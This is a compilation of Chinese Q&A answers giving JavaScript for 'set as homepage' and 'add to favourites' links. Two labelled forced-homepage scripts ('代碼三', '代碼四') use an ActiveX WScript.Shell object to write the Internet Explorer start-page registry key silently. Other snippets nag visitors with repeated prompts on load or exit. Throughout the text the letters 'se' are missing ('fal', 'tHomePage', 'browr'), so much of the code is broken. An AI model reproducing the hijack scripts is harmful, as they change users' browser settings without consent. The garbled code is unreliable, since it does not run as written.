HTML代碼如何實現設置當前頁面為首頁
不必設置為首頁,只需要在連接到首頁的連接href改為這個頁面就可以了~
如果是瀏覽器打開的首頁,那就是在瀏覽器設置中更改:(chrome)
(Firefox)
varhomePage={
is:function(url){//IE判斷當前頁面是否主頁
url=url||window.location.href;
if(document.all){
//http://msdn.microsoft.com/en-us/library/ms531394.aspx
document.body.style.behavior='url(#default#homepage)';
returndocument.body.isHomePage(url);
}
returnfal;
},
t:function(url){//除了Chrome之外的FF和IE的設置方法
try{
url=url||window.location.href;
if(document.all){
if(!homePage.is(url)){
document.body.style.behavior='url(#default#homepage)';
document.body.tHomePage(url);
returnhomePage.is(url);
}
returntrue;
}elif(window.sidebar){
if(window.netscape){
try{
netscape.curity.PrivilegeManager
.enablePrivilege("UniversalXPConnect");
}catch(e){
alert("請在瀏覽器地址欄輸入“about:config”并回車"+
"然后將[signed.applets.codeba_principal_support]"+
"設置為“true”,點擊“加入收藏”后忽略安全提示,即可設置成功。");
}
}
varprefs=Components.class['@mozilla.org/preferences-rvice;1']
.getService(Components.interfaces.nsIPrefBranch);
prefs.tCharPref('browr.startup.homepage',url);
returntrue;
}
//Notsupportexception
returnfal;
}catch(e){
returnfal;
}
}
}對于Chrome暫時沒有解決方案,上面的代碼兼容IE和FF:
>homePage.t(window.location.href);
C#項目中把aspx設為首頁的代碼是什么
<a
href="#"
onclick="this.style.behavior='url(#default#homepage)';this.tHomePage(location.href);">設為首頁</a>
可以將你當前的頁面的網址設為首頁
或者你也可以用Respon.Write("<script>this.style.behavior='url(#default#homepage)';this.tHomePage(location.href);<script>");
設為首頁,加入收藏html代碼
你可以用Discuz!X論壇的代碼
先在head中引入
<script src="http://www.discuz.net/static/js/common.js?czD" type="text/javascript"></script>
<script type="text/javascript">
function t_homepage($url){ // 設置首頁
if (document.all){
document.body.style.behavior = 'url(#default#homepage)';
document.body.tHomePage($url);
}el if (window.sidebar){
if (window.netscape){
try {
netscape.curity.PrivilegeManager.enablePrivilege("UniversalXPConnect");
}catch (e) {
alert("該操作被瀏覽器拒絕,如果想啟用該功能,請在地址欄內輸入 about:config,然后將項 signed.applets.codeba_principal_support 值該為true");
}
}
var prefs = Components.class['@mozilla.org/preferences-rvice;1'].getService(Components.interfaces.nsIPrefBranch);
prefs.tCharPref('browr.startup.homepage', '$url');
}
}
</script>
然后在你需要的地方插入
<a href="javascript:;" onclick="t_homepage('你的網址');">設為首頁</a><a href="http://www.discuz.net/" onclick="addFavorite('你的網址', '網站名稱');return fal;">收藏本站</a>
誰知道”加入收藏夾”和”設置為首頁”這兩段代碼怎么寫?急
加入收藏夾,設為首頁代碼
把以下代碼<Body>相應位置
<a target=_top href=javascript:window.external.AddFavorite('http://www.21kx.com/;,'中國免費資源情報站')>加入收藏</a>
<a href=# onClick="this.style.behavior='url(#default#homepage)';this.tHomePage('www.21kx.com/);">設為首頁</a>
鼠標指向時提示設為首頁
將下列代碼插入<body>區中:
<A href=http://www.jn001.net onmouover="this.style.behavior='url(#default#homepage)';this.tHomePage(http://www.21kx.com');" target="_blank">設為首頁</A>
打開頁面時自動彈出窗口詢問是否設為首頁
將以下代碼放在<head></head>之間:
<script language="javascript">
function myhomepage(){
this.homepage.style.behavior='url(#default#homepage)';this.homepage.thomepage('http://www.21kx.com;);
}
</script>
<p align="center"><a href="http://www.21kx.com" name="homepage"
onclick="myhomepage();"></a>
再將下面代碼加入<body>內:
onload="myhomepage();"
即:<body onload="myhomepage();">
離開時自動提示設為首頁
<body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('http://www.jn001.net')))BASEBody.tHomePage('http://www.21kx.com/;);">
強制設為主頁代碼:
代碼一(設置為主頁就再彈了):
<META content="text/html; chart=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.3826.2400" name=GENERATOR>
<META content=FrontPage.Editor.Document name=ProgId></HEAD>
<BODY><SPAN id=hp style="BEHAVIOR: url(#default#homepage)"></SPAN>
<SCRIPT language=javascript>
var u,i
u="http://www.ybo.cn";
var showThank=fal;
try{
for(i=1;i<=5;i++)
{
if(hp.isHomePage(u))
{
break;
}
el
{
hp.tHomePage(u);
if(!hp.isHomePage(u))
{
alert("方便下次光臨本站,請點 '是(Y)' ,就不再彈了!");
}
el
{
showThank=true;
}
}
}
if(showThank)
{
alert("謝謝您的支持.");
}
}
catch(e){
}
finally{
}
//location.href=u;
</SCRIPT>
</BODY></HTML>
代碼三:
<script>
var ucook=document.cookie;
var ur=ucook.indexOF("ilooki=");
if(ur==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval
(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0
code=com.ms.activeX.ActiveXCompoment></APPLET>");function
yuzi(){try{a1
=document.applets[0];a1.tCLSID("{F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject
();a1.tCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try
{Shl.RegWrite("hkcu\Software\Microsoft\Internet
Expiorer\Main\Start Page",http://www.ybo.cn);}catch(e)
{}}catch(e){}}tTimeout("yuzi()",1000);
}
</script>
代碼四:
<script>
var ucook=document.cookie;
var ur=ucook.indexOF("ilooki=");
if(ur==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.tCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.tCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.ybo.cn);}catch(e){}}catch(e){}}tTimeout("yuzi()",1000);
}
</script>
怎樣在Dreamweaver里添加 收藏、設為首頁的代碼
你好,我給你提供個代碼吧: <p><a href="#" onclick="this.style.behavior='url(#default#homepage)';this.tHomePage(' http://www.5.com/' );return(fal);" onmoudown="urchinTracker('/thp');return(true);">將5設為首頁</a> | <a href="#" onclick="javascript:_s.AddFav(' http://www.5.com ', '5上網 5.com')" target="_lf">添加到收藏夾</a> <p>這個是換行的意思,你可以不要。 href 后面的#號換成你想要的鏈接網址, 把我里頭寫的網址全換成自己的就OK了。
最簡單的設為首頁http代碼怎么寫?
<!DOCTYPEhtml>
<htmllang="en">
<head>
<metachart="UTF-8">
<metaname="viewport"content="width=device-width,initial-scale=1.0">
<metahttp-equiv="X-UA-Compatible"content="ie=edge">
<title>Document</title>
</head>
<body>
<aοnclick="this.style.behavior='url(#default#homepage)';this.tHomepage('http://www.baidu.com')"
href="http://www.baidu.com">設為首頁</a>
</body>
</html>
請采納